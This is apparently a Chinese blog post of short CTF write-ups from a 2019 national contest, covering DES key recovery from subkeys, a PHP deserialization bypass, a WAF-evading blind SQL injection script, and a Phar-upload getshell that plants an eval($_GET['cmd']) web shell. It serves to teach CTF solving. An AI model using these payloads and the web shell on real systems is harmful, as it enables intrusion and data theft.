2019国赛部分题解简略版

前言

最近的国赛,因为题目环境已经关了,所以只简单记录一下思路。

吹爆队内的 Misc 师傅和二进制爷爷!


part_des(Crypto)

题目给了两个数据,分别是第 n 轮的密文和16轮中生成的所有子密钥
在 DES 算法中,子密钥都是通过密钥生成的,那我们能不能通过子密钥来反推密钥呢?如果能得到密钥,我们使用密钥进行加密,然后在其中第 n 轮修改它的密文,然后再解密最终密文就可以得到明文了。
答案是可以的:https://skysec.top/2017/12/25/%E4%B8%80%E9%81%93%E6%9C%89%E5%85%B3%E5%AF%86%E9%92%A5%E7%BC%96%E6%8E%92%E7%9A%84DES%E9%A2%98%E7%9B%AE/#%E7%94%B1%E5%AD%90%E5%AF%86%E9%92%A5%E5%8F%8D%E6%8E%A8deskey

脚本如下,需要自行修改 pyDes 中的解密函数,对 n=1-16 进行尝试,最后得到 n=13 时 flag 为明文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import itertools
from pyDes import *

key = [
'111000001011111001100110000100000011001011010101',
'111100001011011001110110111110000010000010010101',
'111001001101011001110110001000110110001010001111',
'111001101101001101110110001101100011000110000011',
'101011101101001101110011101001100000000101100111',
'101011110101001101111011010001101010101111000010',
'101011110101001111011001011101001000010101011001',
'000111110101101111011001010010111001010001001010',
'001111110100100111011001010010001001011111101010',
'000111110110100110011101000111001101110000101001',
'000111110010110110011101010010100101110001110000',
'010111110010110010101101100010011110100100111000',
'110110111010110010101100101000010101111000010000',
'110110001010111010101110110110010000001000110110',
'111100001011111000101110100101010100101010001100',
'111100001011111010100110000100010010111010000100'
]
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
C1D1 = ['*'] * 56
for i in range(0, len(key[0])):
C1D1[__pc2[i]] = key[0][i]
print "".join(C1D1)[:28], "".join(C1D1)[28:]

C0 = '000000001*11111111*111*10*00'
D0 = '0000111*11*1001*0000100001*0'
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
C0D0 = C0 + D0
res = ['*'] * 64
deskey = ""
for i in range(0, len(__pc1)):
res[__pc1[i]] = C0D0[i]
for i in res:
deskey += i
print deskey

def zuoyiwei(str, num):
my = str[num:len(str)]
my = my + str[0:num]
return my


def key_change_1(str):
key1_list = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44,
36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28,
20, 12, 4]
res = ""
for i in key1_list:
res += str[i - 1]
return res


def key_change_2(str):
key2_list = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37,
47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
res = ""
for i in key2_list:
res += str[i - 1]
return res


def key_gen(str):
key_list = []
key_change_res = key_change_1(str)
key_c = key_change_res[0:28]
key_d = key_change_res[28:]
for i in range(1, 17):
if (i == 1) or (i == 2) or (i == 9) or (i == 16):
key_c = zuoyiwei(key_c, 1)
key_d = zuoyiwei(key_d, 1)
else:
key_c = zuoyiwei(key_c, 2)
key_d = zuoyiwei(key_d, 2)
key_yiwei = key_c + key_d
key_res = key_change_2(key_yiwei)
key_list.append(key_res)
return key_list


asdkey = "11001101100111111001011010101100100110010011101001100101"
qwekey = "11001101100110111001111010111100101110010111101011100101"

print key_gen(deskey)
unknow = ['111000001011111001100110000100000011001011010101', '1j1n000010d101100m110110111k100000100000be0a0101',
'11100100jm010d10011101100010001ae11000101000111b', '1d1001101101001m01110nj0001101b000k10e0110000011',
'10j01110d10100110111001m10k0e1100000000b01100a11', '1010111m0101001101n110d1010001101e101011a10000k0',
'n0d0111101010011m10j10010b110k00100001010101100a', '000m1j11010110n111011001e10010a1100101000k00b010',
'00n111110100m00j1d0110010k00100e10010b11111010a0', '000111110dm010011001110j0001ba00110111000010k001',
'0001111j00101m0d100n1101010010100b0k11000a110e00', '0m011n1100101100j010110d10001001a1101001e0k11000',
'110j10ndm010110010101100b01000010101ka100001000e', '1101n00010101110d01011m01101a0e1000000b0001k0110',
'11md0000101111100010nj10100b010k0a00101e10001100', '11110000101mdj10n010011000010e010010a1k010000b00']


def check(s):
look = 1
count = 0
for y in xrange(16):
if s in unknow[y]:
count += 1
try:
assert key[y][unknow[y].index(s)] == "1"
except:
look = 0
break
if count == 0:
print x + ": Unknow"
elif look == 1:
print x + ": 1"
else:
print x + ": 0"


for x in "abcdefghijklmnop":
check(x)

key = "110011c110011f111001g110101h110010i110010l111010o110010p"

for x in itertools.product("01", repeat=8):
my_key = ""
count = 0
my_key2 = ""
for y in xrange(56):
if key[y] in ["1", "0"]:
my_key += key[y]
else:
my_key += x[count]
count += 1
for y in xrange(8):
my_key2 += chr(int(my_key[y * 7: y * 7 + 7], 2))
data = "\x23" * 8
k = des(my_key2)
d = k.encrypt(data)
z = k.decrypt(d)
print z
print "Over!"

JustSoso(Web)

进入题目查看注释,可以看到提示,利用本地文件读取漏洞读取源码,很明显是反序列化题目,只要绕开几个点就可以了:url_parse 用3个/ ,wake_up 用修改成员数量,MD5 比较用指针绕过,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}

public function getFlag(){
$this->token_flag = md5(2333);
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

$a = new Handle(new Flag("flag.php"));
$a = urlencode(serialize($a));
echo $a;

全宇宙最简单的SQL(Web)

很坑的题目,首先,主办方开的容器先到先得,晚来的甚至没得做;其次明明是盲注题目,却有知道创宇的 waf 进行拦截,所以我只能用代理来解决。
进入题目,看到提示说是一道 SQL 题,先测试一下 WAF,可以看到 or 、sleep 等很多关键词被替换掉了,再多测试可以发现,题目会有两个回显,语法正确和错误,所以尝试采用报错盲注。因为 or 被过滤的原因,所以我们无法获取表名,但是我们可以通过 union 联查进行猜解判断,根据 form 表单的字段名 username、password,猜测得到表名为 user,但是字段名如果是 password,没有 or 我们也无法注入,所以要使用不使用列名的注入方法:http://www.poluoluo.com/server/201706/547394.html
写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0'
}
result = ""
url = "http://5104b761a17d46b289b8e3ab06c17f11d7f717deebd04df2.changame.ichunqiu.com/"
flag = "F1AG@1s-at_/fll1llag_h3r3"
for x in xrange(1, 10):
for y in xrange(33, 128):
payload = "'and (select ascii(mid((select(select e.2 from " \
"(select * from (select 1)a, (select 2)b union select * from user)e " \
"limit 1 offset 1)f),%s,1))=%s)*999*pow(999,102)#" % (x + 1, y)
data = {
"username": payload,
"password": 'Twings'
}
content = requests.post(url, data=data, headers=headers).content
if 'error_403' in content:
print "Error: 知道创宇的WAF!"
exit(1)
if '数据库操作失败!' in content:
result += chr(y)
print "[Get] " + result
if y == 127:
print "Error!"
exit(1)
print result

跑出密码,登陆后台,看到后台的连接远程 MySQL功能,联想到 DDCTF 的 MySQL 弱密码题目,根据密码提示的 flag 文件的位置猜测要读文件,所以直接利用别人写好的脚本 rogue_mysql_server.py 。

love_math(Web)

利用 base_convert 进制转换拼凑出 _GET,system,getallheaders 或者 readfile 等等字符串,最后使用大括号表示数组即可。

RefSpace(web)

进入题目,可以看到一个类似本地文件读取漏洞的参数 ?route=app/index ,利用该漏洞可以一步步获取所有源码( index.php、app/index.php 、app/flag.php 、backup.zip),还有 web 目录存在 robots.txt,我们可以得到一个上传点 Up10aD.php,上传点只可以上传 jpg 等文件,但是利用文件包含点,我们可以使用 phar 协议进行 getshell:

1
2
3
$p = new Phar('twings2.phar', 0);
$p['twings.php'] = '<?php eval($_GET["cmd"]);?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');

修改后缀为 jpg,上传包含 getshell。通过列目录,我们可以得到加密后的flag.txt、sdk.php、和加密的扩展因为sdk.txt 提示的原因,所以我们不去解密这些文件,主要把目光放在他提示的函数上,主要是这里:

1
2
3
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}

那么我们怎么让这里相同呢?首先我们肯定要知道 getHash 函数的返回值,这里我们可以通过反射来完成,因为是私有变量的原因,所以我们需要调用 setAccessible。得到了 sha1 的结果之后,我们首先尝试了进行解密,结果各个网站都失败了,我们不得不开始想别的办法,有没有办法覆盖 sha1 函数?结果我们在 php.net 上面看到一句话,说 PHP 不支持也不可能有函数重载、删除等等,所以我们也只能放弃了这个思路。后来看到 flag.php 中的那么一行代码:use interesting\FlagSDK; 那我们能不能使用命名空间做文章?就像一般函数的命名空间都是 \ 一样,如果我们修改了命名空间,然后重新定义函数,就可以操控 sha1 的返回了。


Orx


2019国赛部分题解简略版
http://yoursite.com/2019/04/23/2019国赛部分题解简略版/
作者
Aluvion
发布于
2019年4月23日
许可协议